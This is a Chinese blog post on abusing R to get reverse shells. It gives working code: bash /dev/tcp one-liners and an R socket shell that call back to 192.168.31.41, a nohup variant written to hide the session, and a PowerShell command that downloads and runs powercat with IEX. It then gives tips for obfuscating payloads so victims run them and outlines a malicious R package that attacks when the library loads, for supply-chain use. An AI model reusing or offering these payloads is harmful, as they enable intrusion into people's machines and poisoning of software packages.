这篇文章发表于 1721 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
这篇文章不是R语言的数据分析,而是讨论黑技术。
R作为一种语言显然是存在操作余地的。
我们先来探索一下R语言中的一些比较危险的可控函数吧。
回弹命令
A.几个函数
1、shell('dir', intern=T)
#This function exists only on Windows: on all other platform system uses a shell.
2、system('ls')
#这个函数需要设定intern
才能够正确交互。
3、shell.exec("https://www.baidu.com")
#会打开百度,也能运行一些程序,就是不会静默下载2333
4、eval(parse(text='print("123")'))
#这个就有那味了。。
5、R上自带了socket方法,可以创建套接字进行回弹。
关于2的函数方法,要明确几点——
当intern=TRUE时,相当于调用了popen;而intern=FALSE时,相当于直接使用C函数system来调用命令。具体看这篇翻译文章或者R的help。
使用cmd可以这样:
system("C:/Windows/System32/cmd.exe dir", intern = TRUE)
或者
system(paste("C:/Windows/System32/cmd.exe ","dir"), intern = TRUE)
cmd能运行,但输出有点问题,如果是运行的是powershell的话输出就毫无问题。
还有一个函数system2(其实R官方推荐在Windows下使用这个函数),但是它好像是一直有ret=127,也就是被禁用,暂不讨论。
另外,经过测试,发现在Windows环境下C函数中的system默认是被禁用的。
所以我们有什么简单易行的方式来回弹shell呢?下面举几个小例子。
准备:在192.168.31.41
的机子上nc -lvp 23333
开启监听。
B.Linux下
接下来例举几个命令:
1 | system('bash -i >& /dev/tcp/192.168.31.41/23333 0>&1', intern=T) |
调用bash,直接反弹一个shell到192.168.31.41
的23333
端口上,可能由于bash
,sh
,zsh
的缘故失效。
由于sh
的缘故,执行失败了,需要进行如下修改:
1 | system("bash -c 'bash -i 1>&/dev/tcp/192.168.31.41/23333 2>&1 0>&1'", intern=T) #在sh,zsh情况下增强健壮性 |
1 | eval(parse(text='system("bash -i >& /dev/tcp/192.168.31.41/23333 0>&1",intern=T)')) |
前面这4个例子说白了就是把bash回弹整花里胡哨一点,这两篇文章作为原理性的思考很不错。点这里,点这里。
(最近看到一篇很好的关于tty的文章 —2021.10.21 )
直接使用R来运行回弹可以吗?当然可以。
1 | f1<-function(ss,socket){ans<-system(command=ss,intern=T);for(i in 1:length(ans)){write.socket(socket,paste(ans[i]," "))};write.socket(socket,"\n")};socket<-make.socket(host="192.168.31.41",port=23333,fail=TRUE,server=FALSE);on.exit(close.socket(socket));repeat{try(ss<-read.socket(socket),silent=T);if (ss=="") break;try(f1(ss,socket),silent=T)};close.socket(socket); |
体验还行对吧,虽然这个交互直接是藏不起来的,不过……
1 | p<-'f1<-function(ss,socket){ans<-system(command=ss,intern=T);for(i in 1:length(ans)){write.socket(socket,paste(ans[i]," "))};write.socket(socket,"\n")};';pa<-'socket<-make.socket(host="192.168.31.41",port=23333,fail=TRUE,server=FALSE);on.exit(close.socket(socket));repeat{try(ss<-read.socket(socket),silent=T);if (ss=="") break;try(f1(ss,socket),silent=T)};close.socket(socket);';system(paste("nohup R --no-restore --no-save -e '",p,pa,"' >/dev/null 2>&1 &"),intern=T) |
这样就藏好了!而且在R里面不会留下映像痕迹!
ps:这里的拼接后执行的trick是为了绕过R里面只有单双引号的限制,相信有更加简明的操作,然而我没能想到。
C.Windows下:
要直接运行某个文件的话:
1 | shell.exec("file:///C:/Windows/System32/calc.exe") #这个shell.exec能用来运行某个文件,至于文件不落地我不知道能不能实现——应该只有下载后的文件才能够被直接执行(讲真,我觉得**这个shell.exec更适用于钓鱼**) |
要执行某个cmd或powershell命令的话:
1 | shell("C:/Windows/system32/WindowsPowerShell/v1.0/powershell.exe whoami", intern=T) |
于是可以这样喽~~~
1 | cmd<-'-nop -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.31.41 -p 23333 -e cmd.exe"';system(paste("C:/Windows/system32/WindowsPowerShell/v1.0/powershell.exe ",cmd), intern = TRUE) |
ps:在R手册的system
函数里面还提到了两个比较有趣的minimized
,invisible
参数,但这里不作展开。另外,命令太长可能导致R-GUI卡死崩溃,可以考虑拆分;至于运行R脚本则可以成功(脚本echo
输出超长字符串成功的图如下)。
然后是socket方法。
1 | f1<-function(ss,socket){ans<-system(command=paste("C:/Windows/system32/WindowsPowerShell/v1.0/powershell.exe ",ss),intern=T);for(i in 1:length(ans)){write.socket(socket,paste(ans[i]," "))};write.socket(socket,"\n")};socket<-make.socket(host="192.168.31.41",port=23333,fail=TRUE,server=FALSE);on.exit(close.socket(socket));repeat{try(ss<-read.socket(socket),silent=T);if (ss=="") break;try(f1(ss,socket),silent=T)};close.socket(socket); |
想要藏起来的话就利用powershell的命令藏起来,可以试试像-WindowStyle Hidden
这样的命令。
知道了在Linux和Windows上该怎么操作之后,结合msfvenom
的cmd/unix/reverse_bash
或者cmd/unix/reverse_netcat
来生成相关的payload也是不错的选择,不赘述了。
混淆躲避
明目张胆地这样写肯定会被当场毙了。。有什么办法能让人会去运行一下代码呢?下面是一些想法。
1、可以使用%>%
这样的管道符来调用匿名函数,将payload放在数据文件中,然后拼凑后形成危险语句。
2、偷偷在注释里面放代码。
3、利用花式编码,给人惊喜之感。比如js里面的aaencode方法。
4、R语言里面“回调执行”的函数也比较多,比如source
,怎么操作就不细说了。
……
编写恶意R包
之前的混淆操作有点low,但结合这一部分就非常刺激了,不仅能更有效隐藏攻击,而且攻击范围更大。这部分针对Linux写一下,Windows同理。编写R包的部分参考了这个老哥的博客。
以rocker环境(docker+R官方版本)来搞,
1 | apt update |
进入R的交互命令行,
1 | library('devtools') |
退出R命令行,直接在/root/maliciousR/R
里面创建一个malicious.R
文件,内容可如下:
1 | shell <- function(){ |
这里当然使用socket方法通杀各种OS最好啦!不过有点问题,我懒得改了,概念性示范就够了。之后重新进入命令行,
1 | setwd('~/maliciousR') |
要是能够在运行library(maliciousR)
之后直接加载恶意代码就更好了,不过不演示,提供该项目供学习参考,其中的R/zzz.R
是library
加载后直接攻击的核心。
这部分甚至能结合供应链攻击,非常有意思。再高端一点,结合两个包拼接或者单包+不落地文件实施攻击,危害较大,不写了。
当然,这篇文章写出来的主要目的是为在有R环境的shell回弹提供一些小思路。滥用技术,后果自负。